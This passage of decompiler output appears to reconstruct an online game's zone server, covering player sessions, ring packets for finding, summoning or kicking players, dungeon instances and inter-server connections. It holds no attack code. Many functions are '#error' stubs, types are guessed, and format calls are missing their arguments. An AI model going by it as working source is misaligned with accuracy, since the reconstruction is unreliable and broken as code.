*(_DWORD *)(v5 + 12) = *(_DWORD *)&pAddr->sa_data[10]; v4->pSession->m_Status = 2; ZoneBaseSessionManager::EmptyToActive(v3, v4); result = v4; } else { GetCurrentTimeString(0); _DebugMessageNew(1, "Msg", "%s%s"); result = 0; } return result; } //----- (00531560) -------------------------------------------------------- void __thiscall ZoneBaseSessionManager::InactiveSession(ZoneBaseSessionManager *this, ZoneBaseSessionManager::LOGIN_SESSION_LIST *pSessionList) { ZoneBaseSessionManager::LOGIN_SESSION_LIST *v2; // edx@5 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v3; // edx@7 if ( pSessionList ) { if ( pSessionList->pLinkUp ) pSessionList->pLinkUp->pLinkDown = pSessionList->pLinkDown; else this->m_pActiveSessions = pSessionList->pLinkDown; v2 = pSessionList->pLinkDown; if ( v2 ) v2->pLinkUp = pSessionList->pLinkUp; } pSessionList->pLinkUp = 0; pSessionList->pLinkDown = this->m_pEmptySessions; v3 = this->m_pEmptySessions; if ( v3 ) v3->pLinkUp = pSessionList; this->m_pEmptySessions = pSessionList; --this->m_NumSessions; } //----- (005315B0) -------------------------------------------------------- void __thiscall ZoneConnectSession::ZoneConnectSession(ZoneConnectSession *this) { ZoneConnectSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.m_Connected_World = 0; v1->baseclass_0.m_Connected_Zone = 0; v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ZoneConnectSession::_vftable_; v1->baseclass_0.m_Connected_Server_ID = 3; } // 5D3FB4: using guessed type int (__stdcall *ZoneConnectSession___vftable_)(int interval); //----- (005315E0) -------------------------------------------------------- void __thiscall ZoneConnectSession::_ZoneConnectSession(ZoneConnectSession *this) { this->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ZoneConnectSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0); } // 5D3FB4: using guessed type int (__stdcall *ZoneConnectSession___vftable_)(int interval); //----- (005315F0) -------------------------------------------------------- void __thiscall ZoneRingPacketFindPlayer::ZoneRingPacketFindPlayer(ZoneRingPacketFindPlayer *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketFindPlayer::_vftable_; } // 5D3FCC: using guessed type int (__stdcall *ZoneRingPacketFindPlayer___vftable_[14])(int, int netcmd); //----- (00531600) -------------------------------------------------------- void __thiscall ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus(ZoneRingPacketFindInstanceDungeon *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketBase::_vftable_; } // 5D3FC0: using guessed type int (*ZoneRingPacketBase___vftable_[2])(); //----- (00531610) -------------------------------------------------------- void __thiscall ZoneRingPacketFindPlayerByNormalUser::ZoneRingPacketFindPlayerByNormalUser(ZoneRingPacketFindPlayerByNormalUser *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketFindPlayerByNormalUser::_vftable_; } // 5D3FD8: using guessed type int (__stdcall *ZoneRingPacketFindPlayerByNormalUser___vftable_[11])(int, int netcmd); //----- (00531620) -------------------------------------------------------- void __thiscall ZoneRingPacketSummonPlayer::ZoneRingPacketSummonPlayer(ZoneRingPacketSummonPlayer *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketSummonPlayer::_vftable_; } // 5D3FE4: using guessed type int (__stdcall *ZoneRingPacketSummonPlayer___vftable_[8])(int, int netcmd); //----- (00531630) -------------------------------------------------------- void __thiscall ZoneRingPacketKickPlayerOut::ZoneRingPacketKickPlayerOut(ZoneRingPacketKickPlayerOut *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketKickPlayerOut::_vftable_; } // 5D3FF0: using guessed type int (__stdcall *ZoneRingPacketKickPlayerOut___vftable_[5])(int, int netcmd); //----- (00531640) -------------------------------------------------------- void __thiscall ZoneRingPacketItemBonus::ZoneRingPacketItemBonus(ZoneRingPacketItemBonus *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketItemBonus::_vftable_; } // 5D3FFC: using guessed type int (__stdcall *ZoneRingPacketItemBonus___vftable_[2])(int, int netcmd); //----- (00531650) -------------------------------------------------------- void __thiscall ZoneRingPacketExpBonus::ZoneRingPacketExpBonus(ZoneRingPacketExpBonus *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketExpBonus::_vftable_; } // 5D4008: using guessed type int (__stdcall *ZoneRingPacketExpBonus___vftable_[2])(int, int netcmd); //----- (00531660) -------------------------------------------------------- void __thiscall ZoneRingPacketSummonPartner::ZoneRingPacketSummonPartner(ZoneRingPacketSummonPartner *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketSummonPartner::_vftable_; } // 5D4014: using guessed type int (__stdcall *ZoneRingPacketSummonPartner___vftable_[3])(int, int netcmd); //----- (00531670) -------------------------------------------------------- void __thiscall ZoneRingPacketFindInstanceDungeon::ZoneRingPacketFindInstanceDungeon(ZoneRingPacketFindInstanceDungeon *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketRefreshWeddingInfo::_vftable_; } // 5D4020: using guessed type int (__stdcall *ZoneRingPacketRefreshWeddingInfo___vftable_[3])(int iti, char nEndureGrade); //----- (00531680) -------------------------------------------------------- void __thiscall ZoneRingPacketEmtpyInstanceDungeon::ZoneRingPacketEmtpyInstanceDungeon(ZoneRingPacketEmtpyInstanceDungeon *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketEmtpyInstanceDungeon::_vftable_; } // 5D402C: using guessed type int (__stdcall *ZoneRingPacketEmtpyInstanceDungeon___vftable_[2])(int, int netcmd); //----- (00531690) -------------------------------------------------------- void __thiscall ZoneRingPacketFindInstanceDungeon::zrpb_Query(ZoneRingPacketFindInstanceDungeon *this, #331 *a2, NETCOMMAND *netcmd) { signed int i; // edi@1 OptionReader *v4; // eax@2 void *v5; // eax@2 unsigned __int16 v6; // ax@9 MapInfo *v7; // eax@9 int v8; // eax@10 const char *v9; // eax@12 const char *v10; // ST08_4@12 void *v11; // eax@12 void *v12; // eax@12 void *v13; // eax@12 const char *v14; // [sp-18h] [bp-188h]@2 ServerMenuArgument *v15; // [sp-14h] [bp-184h]@2 int v16; // [sp-10h] [bp-180h]@2 signed int v17; // [sp-Ch] [bp-17Ch]@2 int v18; // [sp-8h] [bp-178h]@2 signed int v19; // [sp-4h] [bp-174h]@2 const char **v20; // [sp+Ch] [bp-164h]@2 int smayes; // [sp+10h] [bp-160h]@12 char buf; // [sp+14h] [bp-15Ch]@12 char v23; // [sp+28h] [bp-148h]@12 char titlebuf[128]; // [sp+78h] [bp-F8h]@12 ServerMenuArgument smano; // [sp+F8h] [bp-78h]@12 unsigned int cookie; // [sp+160h] [bp-10h]@13 int v27; // [sp+16Ch] [bp-4h]@2 for ( i = 0; ; ++i ) { v19 = i; v20 = &v14; v18 = 0; v17 = 0; v16 = 0; v15 = 0; v14 = 0; strncpy((char *)&v14, "LinkTable", 0x14u); v27 = -1; v4 = NPCManager::operator_>(&npcmanager); v5 = OptionReader::or_SelectFromOrder(v4, *(ORToken *)&v14, v19); if ( !v5 ) break; if ( *(_DWORD *)v5 == *(_DWORD *)((char *)&netcmd[6].protocol + 1) && *((_DWORD *)v5 + 1) == *(_DWORD *)((char *)&netcmd[8].protocol + 1) && *((_DWORD *)v5 + 2) == *(_DWORD *)((char *)&netcmd[10].protocol + 1) && *((_DWORD *)v5 + 3) == *(_DWORD *)((char *)&netcmd[12].protocol + 1) && *((_DWORD *)v5 + 4) == *(_DWORD *)((char *)&netcmd[14].protocol + 1) ) { v6 = MapDataBox::mdb_2mapid(&mapdatabox, (const char *)v5 + 53); v7 = MapDataBox::operator__(&mapdatabox, v6); if ( v7 ) v8 = (int)v7->Name; else v8 = (int)byte_59A24E; v19 = v8; v9 = ShineScript::ss_String(&shinescriptmenusting, "LinkTitle"); sprintf(titlebuf, v9); smayes = *(_DWORD *)((char *)&netcmd[4].protocol + 1); ORToken::ort_GetString((ORToken *)((char *)&netcmd[6].protocol + 1), &buf); v19 = 1000; v18 = 0; v17 = 65535; v16 = 0; v15 = &smano; v23 = 0; v14 = ShineScript::ss_String(&shinescriptetc, "No"); v10 = ShineScript::ss_String(&shinescriptetc, "Yes"); v11 = ShineObjectClass::ShinePlayer::sp_ServerMenuTitle((void *)a2, titlebuf); v12 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem( v11, ServerMenuFuncter::smfm_LinkToDungeon, v10, (ServerMenuArgument *)&smayes); v13 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem(v12, ServerMenuFuncter::smfm_Cancel, v14, v15); ShineObjectClass::ShinePlayer::sp_ServerMenuOpen(v13, v16, v17, v18, v19); break; } } __security_check_cookie(cookie); } //----- (00531830) -------------------------------------------------------- void __thiscall ZoneConnectSession::zcs_Send(ZoneConnectSession *this, ProtocolPacket *pp, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ZoneConnectSession::zcs_Send"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneConnectSession::zcs_Send"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( stru_1250E844.m_Socket == -1 ) { unk_1250E81C = 0; ZoneServer::zs_ServerConnect2Zone(&zoneserver, &zoneconnect.baseclass_0); if ( !unk_1250E81C ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneConnectSession::zcs_Send"); return; } unk_1250E83C = CGTimer::GetTime(); } if ( ProtocolPacket::pp_SetPacketLen(pp, len) ) ProtocolPacket::pp_SendPacket(pp, &zoneconnect.baseclass_0); else AssertClass::ac_AssertFail(&shineassert, "ZoneConnectSession::zcs_Send : Packet Too Long", len); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneConnectSession::zcs_Send"); } //----- (00531950) -------------------------------------------------------- #error "531950: undefined or illegal type '#331' (funcsize=131)" //----- (00531B10) -------------------------------------------------------- #error "531B10: undefined or illegal type '#331' (funcsize=194)" //----- (00531DC0) -------------------------------------------------------- #error "531DC0: undefined or illegal type '#331' (funcsize=200)" //----- (00532080) -------------------------------------------------------- #error "532080: undefined or illegal type '#331' (funcsize=122)" //----- (00532220) -------------------------------------------------------- #error "532220: undefined or illegal type '#331' (funcsize=69)" //----- (00532320) -------------------------------------------------------- #error "532320: undefined or illegal type '#331' (funcsize=69)" //----- (00532420) -------------------------------------------------------- #error "532420: undefined or illegal type '#331' (funcsize=41)" //----- (005324E0) -------------------------------------------------------- #error "5324E0: undefined or illegal type '#331' (funcsize=107)" //----- (00532670) -------------------------------------------------------- #error "532670: undefined or illegal type '#331' (funcsize=40)" //----- (00532720) -------------------------------------------------------- #error "532720: undefined or illegal type '#331' (funcsize=74)" //----- (00532870) -------------------------------------------------------- #error "532870: undefined or illegal type '#331' (funcsize=74)" //----- (005329C0) -------------------------------------------------------- #error "5329C0: undefined or illegal type '#331' (funcsize=74)" //----- (00532B10) -------------------------------------------------------- #error "532B10: undefined or illegal type '#331' (funcsize=74)" //----- (00532C60) -------------------------------------------------------- #error "532C60: undefined or illegal type '#331' (funcsize=74)" //----- (00532DB0) -------------------------------------------------------- #error "532DB0: undefined or illegal type '#331' (funcsize=200)" //----- (00533060) -------------------------------------------------------- #error "533060: undefined or illegal type '#331' (funcsize=144)" //----- (00533280) -------------------------------------------------------- #error "533280: undefined or illegal type '#331' (funcsize=35)" //----- (00533330) -------------------------------------------------------- #error "533330: undefined or illegal type '#331' (funcsize=58)" //----- (00533430) -------------------------------------------------------- void __thiscall ZoneRingPacketEmtpyInstanceDungeon::zrpb_Request(ZoneRingPacketEmtpyInstanceDungeon *this, #331 *a2, NETCOMMAND *netcmd) { ZoneRingPacketEmtpyInstanceDungeon *v3; // esi@1 char *v4; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneRingPacketEmtpyInstanceDungeon::zrpb_Request"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneRingPacketEmtpyInstanceDungeon::zrpb_Request"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3->baseclass_0.vfptr->zrpb_Success((ZoneRingPacketBase *)v3, a2, netcmd); v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4273; *(_DWORD *)(v4 + 2) = *(_DWORD *)&netcmd[1].protocol; *(_DWORD *)(v4 + 6) = *(_DWORD *)&netcmd[3].protocol; v4[2] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v4 + 3) = -1; *(_DWORD *)(v4 + 5) = *(_DWORD *)((char *)&netcmd[2].protocol + 1); ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 10); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneRingPacketEmtpyInstanceDungeon::zrpb_Request"); } //----- (00533520) -------------------------------------------------------- void __thiscall ZoneRingPacketEmtpyInstanceDungeon::zrpb_Success(ZoneRingPacketEmtpyInstanceDungeon *this, #331 *a2, NETCOMMAND *netcmd) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneRingPacketEmtpyInstanceDungeon::zrpb_Success"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneRingPacketEmtpyInstanceDungeon::zrpb_Success"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; MapClusterManager::ClusterManager::cm_DeleteInstanceDungeon( &mapclustermanager, (INSTANCE_DUNGEON::CATEGORY)HIBYTE(netcmd[4].protocol), *(_DWORD *)((char *)&netcmd[2].protocol + 1)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneRingPacketEmtpyInstanceDungeon::zrpb_Success"); } //----- (005335D0) -------------------------------------------------------- #error "5335D0: undefined or illegal type '#592' (funcsize=54)" //----- (005336E0) -------------------------------------------------------- void __thiscall ZoneRingPacketItemBonus::zrpb_Success(ZoneRingPacketItemBonus *this, #331 *a2, NETCOMMAND *netcmd) { ListStruct *v3; // esi@1 unsigned __int16 v4; // cx@1 int v5; // eax@3 bool v6; // cf@3 int v7; // eax@4 int v8; // eax@5 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ZoneRingPacketItemBonus::zrpb_Success"); v3 = fieldlist.l_Array; funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneRingPacketItemBonus::zrpb_Success"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3[fieldlist.l_Finger.store].ls_Next; while ( v4 < fieldlist.l_MaxSize ) { v5 = v4; v6 = v4 < fieldlist.l_MaxSize; v4 = v3[v4].ls_Next; if ( v6 ) { v7 = (int)&v3[v5]; if ( *(_BYTE *)(v7 + 8) ) { v8 = *(_DWORD *)v7; if ( v8 ) { if ( v8 != -76 ) { *(_DWORD *)(v8 + 80) = *(unsigned __int16 *)((char *)&netcmd[4].protocol + 1); v3 = fieldlist.l_Array; } } } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneRingPacketItemBonus::zrpb_Success"); } //----- (005337A0) -------------------------------------------------------- void __thiscall ZoneRingPacketExpBonus::zrpb_Success(ZoneRingPacketExpBonus *this, #331 *a2, NETCOMMAND *netcmd) { ListStruct *v3; // esi@1 unsigned __int16 v4; // cx@1 int v5; // eax@3 bool v6; // cf@3 int v7; // eax@4 int v8; // eax@5 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ZoneRingPacketExpBonus::zrpb_Success"); v3 = fieldlist.l_Array; funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneRingPacketExpBonus::zrpb_Success"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3[fieldlist.l_Finger.store].ls_Next; while ( v4 < fieldlist.l_MaxSize ) { v5 = v4; v6 = v4 < fieldlist.l_MaxSize; v4 = v3[v4].ls_Next; if ( v6 ) { v7 = (int)&v3[v5]; if ( *(_BYTE *)(v7 + 8) ) { v8 = *(_DWORD *)v7; if ( v8 ) { if ( v8 != -76 ) { *(_DWORD *)(v8 + 76) = *(unsigned __int16 *)((char *)&netcmd[4].protocol + 1); v3 = fieldlist.l_Array; } } } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneRingPacketExpBonus::zrpb_Success"); } //----- (00533860) -------------------------------------------------------- #error "533860: undefined or illegal type '#331' (funcsize=70)" //----- (00533970) -------------------------------------------------------- #error "533970: undefined or illegal type '#331' (funcsize=245)" //----- (00533CA0) -------------------------------------------------------- void __thiscall ZoneIPContainer::_ZoneIPContainer(ZoneIPContainer *this) { _eh_vector_destructor_iterator_( this, 0x12u, 12, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00533CB0) -------------------------------------------------------- void __thiscall ZoneIPContainer::zipc_Store(ZoneIPContainer *this, unsigned int machine, char *ipaddr, unsigned __int16 port) { char *v4; // esi@4 if ( machine >= 0xC ) { AssertClass::ac_AssertFail(&shineassert, "ZoneIPContainer::zipc_Store : Invalid mechine", machine); ShineExit("ZoneIPContainer::zipc_Store"); } v4 = (char *)this + 18 * machine; *((_DWORD *)v4 + 3) = 0; *((_DWORD *)v4 + 2) = 0; *((_DWORD *)v4 + 1) = 0; *(_DWORD *)v4 = 0; strncpy(v4, ipaddr, 0x10u); *((_WORD *)v4 + 8) = port; } //----- (00533D20) -------------------------------------------------------- Name4 *__thiscall ZoneIPContainer::zipc_GetNextIP(ZoneIPContainer *this) { return &this->zipc_NextIP; } //----- (00533D30) -------------------------------------------------------- void __thiscall ZoneIPContainer::zipc_SetNextIP(ZoneIPContainer *this, unsigned int mymachine) { unsigned int v2; // esi@1 ZoneIPContainer *v3; // ebx@1 int v4; // eax@2 char *v5; // eax@8 char v6[4]; // [sp+14h] [bp-10h]@2 int v7; // [sp+18h] [bp-Ch]@2 int v8; // [sp+1Ch] [bp-8h]@2 int v9; // [sp+20h] [bp-4h]@2 v2 = mymachine + 1; v3 = this; if ( mymachine + 1 >= 0xC || (v9 = 0, v8 = 0, v7 = 0, *(_DWORD *)v6 = 0, strncpy(v6, byte_59A24E, 0x10u), v4 = (int)((char *)v3 + 18 * v2), *(_DWORD *)&v3->zipc_IPAddress[v2].addr.n4_name[0] == *(_DWORD *)v6) && *(_DWORD *)(v4 + 4) == v7 && *(_DWORD *)(v4 + 8) == v8 && *(_DWORD *)(v4 + 12) == v9 ) v2 = 0; if ( v2 == mymachine ) { v9 = 0; v8 = 0; v7 = 0; *(_DWORD *)v6 = 0; strncpy(v6, byte_59A24E, 0x10u); v5 = v6; } else { v5 = (char *)v3 + 18 * v2; } *(_DWORD *)&v3->zipc_NextIP.n4_name[0] = *(_DWORD *)v5; *(_DWORD *)&v3->zipc_NextIP.n4_name[4] = *((_DWORD *)v5 + 1); *(_DWORD *)&v3->zipc_NextIP.n4_name[8] = *((_DWORD *)v5 + 2); *(_DWORD *)&v3->zipc_NextIP.n4_name[12] = *((_DWORD *)v5 + 3); } //----- (00533E00) -------------------------------------------------------- int __thiscall ZoneIPContainer::zipc_GetNextZoneNo(ZoneIPContainer *this, unsigned int mymachine) { unsigned int v2; // esi@1 ZoneIPContainer *v3; // edi@1 int result; // eax@2 int v5; // eax@3 char v6[4]; // [sp+8h] [bp-10h]@3 int v7; // [sp+Ch] [bp-Ch]@3 int v8; // [sp+10h] [bp-8h]@3 int v9; // [sp+14h] [bp-4h]@3 v2 = mymachine + 1; v3 = this; if ( mymachine + 1 < 0xC ) { v9 = 0; v8 = 0; v7 = 0; *(_DWORD *)v6 = 0; strncpy(v6, byte_59A24E, 0x10u); v5 = (int)((char *)v3 + 18 * v2); if ( *(_DWORD *)&v3->zipc_IPAddress[v2].addr.n4_name[0] != *(_DWORD *)v6 || *(_DWORD *)(v5 + 4) != v7 || *(_DWORD *)(v5 + 8) != v8 || *(_DWORD *)(v5 + 12) != v9 ) result = mymachine + 1; else result = 0; } else { result = 0; } return result; } //----- (00533E90) -------------------------------------------------------- char __thiscall ZoneIPContainer::zipc_Mechine2IP(ZoneIPContainer *this, char machine, Name4 *zoneip, unsigned __int16 *port) { char v4; // al@1 ZoneIPContainer *v5; // esi@1 char result; // al@4 int v7; // eax@5 int v8; // edx@5 int v9; // eax@5 v4 = machine; v5 = this; if ( machine == 99 ) v4 = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); if ( (unsigned __int8)v4 < 0xCu ) { v7 = 9 * (unsigned __int8)v4; v8 = *(_DWORD *)&v5->zipc_IPAddress[2 * v7 / 0x12u].addr.n4_name[0]; v9 = (int)((char *)v5 + 2 * v7); *(_DWORD *)&zoneip->n4_name[0] = v8; *(_QWORD *)&zoneip->n4_name[4] = *(_QWORD *)(v9 + 4); *(_DWORD *)&zoneip->n4_name[12] = *(_DWORD *)(v9 + 12); *port = *(_WORD *)(v9 + 16); result = 1; } else { AssertClass::ac_AssertFail( &shineassert, "ZoneIPContainer::zipc_Mechine2IP : Invalid machine number", (unsigned __int8)v4); result = 0; } return result; } //----- (00533F10) -------------------------------------------------------- void __thiscall ZoneIPContainer::ZoneIPContainer(ZoneIPContainer *this) { ZoneIPContainer *v1; // ebx@1 int v2; // esi@1 signed int v3; // ebp@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x12u, 12, (void (__thiscall *)(void *))PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *(_DWORD *)&v1->zipc_NextIP.n4_name[12] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[8] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[4] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[0] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[12] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[8] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[4] = 0; *(_DWORD *)&v1->zipc_NextIP.n4_name[0] = 0; strncpy(v1->zipc_NextIP.n4_name, byte_59A24E, 0x10u); v2 = (int)&v1->zipc_IPAddress[0].addr.n4_name[8]; v3 = 12; do { *(_DWORD *)(v2 + 4) = 0; *(_DWORD *)v2 = 0; *(_DWORD *)(v2 - 4) = 0; *(_DWORD *)(v2 - 8) = 0; strncpy((char *)(v2 - 8), byte_59A24E, 0x10u); v2 += 18; --v3; } while ( v3 ); } //----- (00533F90) -------------------------------------------------------- unsigned int __thiscall ClockWatch::cw_Set(ClockWatch *this) { ClockWatch *v1; // esi@1 DWORD v2; // eax@1 unsigned int v3; // edi@1 int v4; // eax@1 unsigned __int64 v5; // kr00_8@1 unsigned __int64 v6; // ST00_8@1 unsigned __int64 v7; // qax@1 v1 = this; v2 = timeGetTime(); v3 = v2; v4 = v2 - v1->cw_LastMilliSec; v5 = (unsigned int)v4 + v1->cw_TotalMilliSec; v6 = (unsigned int)v4 + v1->cw_TotalMilliSec; v1->cw_CurrMilliSec = v3; v1->cw_TotalMilliSec = v5; v7 = 10 * v6 / 0x3E8; HIDWORD(v7) = (unsigned int)(10 * (v3 - v1->cw_LastMilliSecByDelta) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; *(_QWORD *)&v1->cw_CurrTick = v7; v1->cw_LastMilliSec = v3; if ( HIDWORD(v7) ) v1->cw_LastMilliSecByDelta = v3; return v7; } //----- (00534010) -------------------------------------------------------- void __cdecl message(char *msg) { _iobuf *v1; // esi@1 v1 = fopen("Message.txt", "a"); fprintf(v1, "%s\n"); fclose(v1); } //----- (00534040) -------------------------------------------------------- void __thiscall CWeaponTitleZone::CWeaponTitleZone(CWeaponTitleZone *this) { CWeaponTitle::CWeaponTitle(&this->baseclass_0); } //----- (00534060) -------------------------------------------------------- void __thiscall CCharacterTitleData::CCharacterTitleData(BinaryData *this) { CDataReader::CDataReader(&this->baseclass_0); } //----- (00534070) -------------------------------------------------------- CServerInfo *__thiscall ZoneServer::zs_mechineinfo(ZoneServer *this) { return (CServerInfo *)&this->zs_serverinfo; } //----- (00534080) -------------------------------------------------------- CServerInfo::MY_SERVER *__thiscall ZoneServer::zs_worlddata(ZoneServer *this) { return (CServerInfo::MY_SERVER *)&this->gap40[1256]; } //----- (00534090) -------------------------------------------------------- void __thiscall ZoneServer::zs_serviceend(ZoneServer *this) { ZoneServer *v1; // esi@1 bool v2; // zf@1 v1 = this; v2 = this->zs_mainthread.activ == 0; this->zs_mainthread.stop = 1; if ( !v2 ) { do Sleep(5u); while ( v1->zs_mainthread.activ ); } } //----- (005340B0) -------------------------------------------------------- char *__thiscall ZoneServer::zs_GetServerGroup(ZoneServer *this) { return &this->gap40[1292]; } //----- (005340C0) -------------------------------------------------------- char __thiscall ZoneServer::zs_Getportinfo(ZoneServer *this, CServerInfo::SERVER_INFO *serverinfo, int towhere) { ZoneServer *v3; // esi@1 char result; // al@2 v3 = this; if ( CServerInfo::GetServerInfo( (CServerInfo *)&this->zs_serverinfo, serverinfo, towhere, *(_DWORD *)&this->gap40[1268], *(_DWORD *)&this->gap40[1272], *(_DWORD *)&this->gap40[1264]) || CServerInfo::GetServerInfo( (CServerInfo *)&v3->zs_serverinfo, serverinfo, towhere, *(_DWORD *)&v3->gap40[1268], *(_DWORD *)&v3->gap40[1272], 0) || CServerInfo::GetServerInfo( (CServerInfo *)&v3->zs_serverinfo, serverinfo, towhere, *(_DWORD *)&v3->gap40[1268], 0, *(_DWORD *)&v3->gap40[1264]) ) result = 1; else result = CServerInfo::GetServerInfo( (CServerInfo *)&v3->zs_serverinfo, serverinfo, towhere, *(_DWORD *)&v3->gap40[1268], 0, 0) != 0; return result; } //----- (00534160) -------------------------------------------------------- char __thiscall ZoneServer::zs_ServerConnect2Zone(ZoneServer *this, ZoneBaseSession *session) { ZoneServer *v2; // ebx@1 int v3; // eax@2 int v5; // esi@4 Name4 *v6; // eax@4 unsigned int v7; // ecx@4 char *v8; // ecx@4 _iobuf *v9; // edi@4 Name4 *v10; // eax@4 unsigned int v11; // ecx@4 char *v12; // ecx@4 Name4 *v13; // eax@5 char buffer[64]; // [sp+8h] [bp-44h]@4 v2 = this; if ( !session->m_Status ) { v3 = ZoneIPContainer::zipc_GetNextZoneNo(&zipc, *(unsigned int *)&zoneserver.gap40[1272]); if ( v3 == -1 ) return 0; v5 = v3 + 100 * (*(_DWORD *)&zoneserver.gap40[1268] + 120); v6 = ZoneIPContainer::zipc_GetNextIP(&zipc); v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)&v6->n4_name[0]; *((_DWORD *)v8 + 1) = *(_DWORD *)&v6->n4_name[4]; *((_DWORD *)v8 + 2) = *(_DWORD *)&v6->n4_name[8]; *((_DWORD *)v8 + 3) = *(_DWORD *)&v6->n4_name[12]; v8[16] = 0; sprintf(buffer, "Try to connect[%s:%d]"); v9 = fopen("Message.txt", "a"); fprintf(v9, "%s\n"); fclose(v9); v10 = ZoneIPContainer::zipc_GetNextIP(&zipc); v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_DWORD *)v12 = *(_DWORD *)&v10->n4_name[0]; *((_DWORD *)v12 + 1) = *(_DWORD *)&v10->n4_name[4]; *((_DWORD *)v12 + 2) = *(_DWORD *)&v10->n4_name[8]; *((_DWORD *)v12 + 3) = *(_DWORD *)&v10->n4_name[12]; v12[16] = 0; if ( ZoneBaseSession::Connect(session, v12, v5, &v2->zs_IOCP) ) { v13 = ZoneIPContainer::zipc_GetNextIP(&zipc); NameString::operator__(&namestring, v13); sprintf(buffer, "Connect Success[%s:%d]"); message(buffer); session->m_Status = 2; } } return 1; } //----- (005342E0) -------------------------------------------------------- char __thiscall ZoneServer::zs_ServerConnect(ZoneServer *this, ZoneBaseSession *session, int towhere, int limit) { ZoneServer *v4; // ebx@1 int v5; // esi@1 _iobuf *v7; // esi@4 char serverinfo; // [sp+Ch] [bp-68h]@2 int pIPAddress; // [sp+20h] [bp-54h]@5 u_short PortNo[2]; // [sp+24h] [bp-50h]@5 char buffer[64]; // [sp+30h] [bp-44h]@4 v4 = this; v5 = -1; if ( !session->m_Status ) { if ( !ZoneServer::zs_Getportinfo(this, (CServerInfo::SERVER_INFO *)&serverinfo, towhere) ) { AssertClass::ac_AssertFail( &shineassert, "ZoneServer::zs_serverconnect : No serverinfo for connect to server", towhere); return 0; } sprintf(buffer, "Try to connect[%s:%d]%d"); v7 = fopen("Message.txt", "a"); fprintf(v7, "%s\n"); fclose(v7); v5 = 0; if ( limit > 0 ) { while ( !ZoneBaseSession::Connect(session, (char *)pIPAddress, *(int *)PortNo, &v4->zs_IOCP) ) { Sleep(0x64u); ++v5; if ( v5 >= limit ) return v5 < limit; } if ( v5 < limit ) { session->m_LastHeartBeatSendTime = CGTimer::GetTime(); session->m_Status = 2; } } } return v5 < limit; } //----- (00534400) -------------------------------------------------------- 